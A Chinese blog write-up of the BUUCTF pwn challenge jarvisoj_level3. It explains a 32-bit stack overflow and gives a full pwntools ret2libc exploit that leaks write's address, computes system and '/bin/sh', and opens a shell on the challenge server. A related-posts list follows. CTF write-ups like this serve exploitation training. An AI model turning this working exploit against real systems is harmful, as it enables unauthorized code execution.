BUUCTF-jarvisoj_level3

BUUCTF----jarvisoj_level3_x64 环境:WSL2,ubuntu16.04,python2 checksec文件: 这道题level3的思路一样,只是32位的程序改成了64位。 也就是说,在利用write函数泄露出libc的基地址时,需要用到寄存器来穿参数,write有三个参数,所以需要rdi,rsi,rdx三个寄存器,通过命令: ROPgadget --binary level3_x64 |grep "pop" 结果: 从图中可以看到只找到了rdi和rsi寄存器,没有rdx寄存器 尝试gdb程序: 在read函数下断点,可以看到rd 阅读详情

checksec

IDA

main

 

很明显的溢出点

再没有其它有用的信息,而且本题没有system,bin/sh

既然如此,解决思路就有了,泄露libc,32位的ret2libc3 

EXP

from pwn import *

#start 
r=remote("node4.buuoj.cn",25236)
# r = process("../buu/jarvisoj_level3")
elf = ELF("./29level3")
libc = ELF("./libc-2.23-32.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack 
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendlineafter(b"Input:\n",payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + b'M'*4 + p32(bin_sh_addr)
r.sendlineafter(b"Input:\n",payload)

r.interactive()

利用write函数泄露libc版本

计算libc基址,算出system和bin/sh在程序里的地址,最后getshell

BUUCTF:jarvisoj_level3_x64(write up) BUUCTF:jarvisoj_level3_x640x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 64位程序,仅开启栈不可执行保护 0x02 运行 输入一个字符串 0x03 IDA 字符串可输入长度可造成栈溢出 0x04 思路 没有提供system函数和"/bin/sh"的地址 第一次栈溢出泄露read函数地址来得到libc版本,从而获取system函数和"/bin/sh"的地址,并且返回主函数 这里有个难点就是参数需要放到对应 阅读详情

相关推荐

FTPClient使用中,碰到SocketTimeoutException 坑

ftpclient设置soTimeout无效

u010379794的博客 1951

BUUCTF jarvisoj_level3

切入点从泄露write函数入手。栈溢出漏洞,ret2libc。IDA Pro 静态调试。

红叶的博客 603

计量经济学tempdisagg的python库:年度时序变月度

计量经济学tempdisagg的python库:年度时序变月度

素质云笔记 1528

[BUUCTF]PWN——jarvisoj_level3

[BUUCTF]PWN——jarvisoj_level3

qq_75021728的博客 361

Windows本地化部署Dify完整指南

本文详细介绍了在Windows系统上本地化部署Dify的完整步骤,涵盖了Docker Desktop的安装与配置、Dify源代码的获取、环境变量的设置、服务的启动与管理、以及常见问题的解决方案。文章首先指导用户如何下载和安装Docker Desktop,并配置WSL 2功能。接着,详细说明了如何获取Dify源代码,并通过Docker Compose启动服务。文章还提供了高级配置指南,包括如何配置大语言模型和更新Dify版本。最后,针对Docker镜像拉取失败等常见问题,提供了详细的诊断和解决方案。通过本文,

jacky_zhuyuanlu的博客 1万+

告别手动归档:基于Allegro Skill的XTools一键生成Gerber与生产文件实践

本文详细介绍了基于Allegro Skill的XTools工具如何实现一键生成Gerber与生产文件,大幅提升PCB设计效率。通过自动化流程,解决了传统手动归档中的重复劳动、人为失误和标准不统一等问题,特别适合需要频繁输出生产文件的工程师。文章包含安装配置、实战操作、问题排查及进阶技巧,帮助用户快速掌握这一高效工具。

weixin_30505225的博客 461

BUUCTF--pwn--jarvisoj_level3【ret2libc】

BUUCTF--pwn--jarvisoj_level3

qq_73149934的博客 547

YOLO11涨点优化:注意力魔改 | 引入Deformable Attention (可变形注意力),灵活感受野自适应复杂形变目标

Deformable Attention为YOLO11带来的不仅是2.6个百分点的mAP提升,更是一种全新的“形变感知”范式。标准卷积的固定感受野在非刚性目标、多尺度变化和遮挡场景下力不从心——Deformable Attention恰好填补了这一空白。从架构设计到代码实现,从竞品对比到部署方案,从生态工具到安全风险,本文覆盖了将Deformable Attention引入YOLO11所需的全部知识链路。

2601_95807009的博客 284

【BUUCTF】jarvisoj_level3

【BUUCTF】jarvisoj_level3 标准的ret2libc 这里记一下找偏移的方法: readelf -a libc库文件|grep “puts” 或者用symbol这些 strings 文件 -tx|grep “/bin/sh” 抓出/bin/sh 可以找/bin/sh在libc中的地址 这里直接给出exp: from pwn import* r=remote('node3.buuoj.cn',28705) libc=ELF('./libc-2.23.so') elf=ELF('./

m0_51251108的博客 507

47、利用组策略配置 Windows 防火墙与 IPsec 全解析

本文深入解析了如何利用组策略配置Windows防火墙与IPsec,涵盖防火墙规则基础、IPsec身份验证与加密机制、服务器和域隔离实现方法、WFAS中新旧IPsec规则的区别与配置流程,并详细说明了防火墙属性与规则的优先级计算方式。同时介绍了证书服务、EFS等未详述的安全功能及相关学习资源,帮助管理员通过组策略有效提升网络安全性。

onion的博客 102

simulink构建一个基于 BP(反向传播)神经网络 的自适应 PID 控制系统

本文介绍了基于BP神经网络的自适应PID控制系统设计方法。系统通过神经网络实时调整PID参数,实现智能控制。主要内容包括:1)系统架构设计,采用误差反馈和在线学习机制;2)详细建模步骤,从被控对象定义到神经网络结构设计;3)S-Function实现核心算法,包含前向传播、PID计算和反向传播;4)仿真结果分析,显示神经网络PID在响应速度、超调控制和鲁棒性方面的优势;5)进阶建议和常见问题解决方案。该方法突破了传统PID的局限性,实现了具有自我学习能力的智能控制。

xiaoheshang_123的博客 51

[BUUCTF-pwn]——jarvisoj_level3_x64

简单的ret2libc通过vuln函数,我们可以看出程序中包含write和read函数,同时存在栈溢出。通过write泄露read的got表地址。进而获得libc,重新控制代码再次进行栈溢出即可获得shell。

Y_peak的博客 589

【YOLOs-CPP-图像分类部署】04-项目优化(加速部署)

本文详细介绍了将YOLO图像分类C++部署项目从CMake迁移到Visual Studio控制台应用的全过程。针对低配CPU性能瓶颈问题,作者通过替换多线程HPP代码为官方实现,并采用448x448固定输入尺寸优化推理速度。项目配置包含OpenCV和ONNX Runtime环境设置,实现了图像批量处理、分类结果显示及结果日志输出功能。关键步骤包括依赖库配置、DLL部署和代码调试,最终在Windows平台成功实现高效CPU推理。该方案显著提升了低配硬件的兼容性,为图像分类任务提供了稳定的部署解决方案。

深耕CV 354

buuctf中的jarvisoj_level3_x64

这题有两种做法,一种是用LibcSearcher搜索匹配的libc库,一种是用已有的libc库做,由于是64位程序,猜到libc库是libc.so.6,两种做法都需要进行两次栈溢出,第一次计算出libc的基地址,第二次注入system函数拿到shellcode。没发现后门函数,按shift+F12后也没发现/bin/sh地址,考虑泄露libc来拿到shell。首先拿到vulnerable函数地址:0x4005E6,方便后面二次溢出。首先拿到rdi,ret和rsi+r15的地址,方便后面调用write函数。

2301_79485835的博客 373

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

buuctf中的jarvisoj_level3(栈溢出+libc泄露)

这里说一下基本思路:通过两次栈溢出拿到shell,第一次栈溢出先泄露出write函数的真实地址,然后计算出libc基址,进而计算出system函数地址与/bin/sh的地址,然后第二次栈溢出注入system函数来拿到shell,想要进行二次溢出,还需要拿到vuln函数的地址,从IDA中可拿到vuln函数地址为:0x804844B。buf到栈底距离为0x88,但是这里read函数却读入了0x100个字节的数据,可以触发栈溢出漏洞,顺便算出偏移量为:0x88 + 0x4。-仅开启了栈不可执行保护。

2301_79485835的博客 658

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

BUUCTF--pwn--jarvisoj_level3_x64【ret2libc_64】

BUUCTF--pwn--jarvisoj_level3_x64

qq_73149934的博客 790

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)

2301_76794844的博客 1309

[BUUCTF]PWN——jarvisoj_level3_x64

jarvisoj_level3_x64 附件 步骤: 例行检查,64位程序,开启了nx保护 试运行一下程序,看看大概的情况 64位ida载入,习惯性的检索字符串,没有发现可以直接利用的system,估计使用ret2libc的方法 从main函数开始看程序 function()函数 输入点buf明显的溢出漏洞,read之前已经调用过一个write函数了,可以利用它来泄露libc版本 利用过程 泄露libc版本 64位程序传参需要用到寄存器rdi,找一下设置rdi寄存器的指令 https://

mcmuyanga的博客 1828

buuctf-pwn jarvisoj_level3_x64题解(学习过程持续更新)

这是一个关于64位栈溢出漏洞利用的自学笔记。通过分析level3_x64程序,发现存在read栈溢出漏洞,需要填充0x88字节数据覆盖返回地址。由于缺少system函数和/bin/sh字符串,使用LibcSearcher泄露write@got地址计算基址,进而获取system和/bin/sh地址。利用ROPgadget找到pop_rdi_ret等gadget构造ROP链,最终通过二次溢出执行system(“/bin/sh")获取flag。

2501_93570847的博客 319

BUUCTF jarvisoj_level3_x64 & jarvisoj_level4

64位ELF 开启了NX,其余全部关闭。IDA Pro 静态调试除了改成了64位似乎都没什么区别,gdb动态调试。

红叶的博客 737

buuctf-pwn jarvisoj_level3题解(学习过程持续更新)

本文记录了一道无system和/bin/sh的32位ret2libc题型解题过程。通过分析发现栈溢出漏洞(buf=0x88,read可读0x100),利用write@got泄露函数地址计算基址,进而获取system和/bin/sh地址。攻击脚本分两次payload:第一次泄露地址并返回vulnerable_function,第二次构造ROP链执行system("/bin/sh"),最终成功获取flag。解题过程涉及checksec检查、IDA反编译和偏移计算等技术要点

2501_93570847的博客 486

BUUCTF jarvisoj_level3_x64

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 568

BUUCTF pwn——jarvisoj_level3

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 310

buuctf jarvisoj_level3_x641

ret2libc,利用libcsearcher获取libc版本

qq_73625550的博客 637
上一篇: BUUCTF-[HarekazeCTF2019]baby_rop2
下一篇: BUUCTF-babyheap_0ctf_2017
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值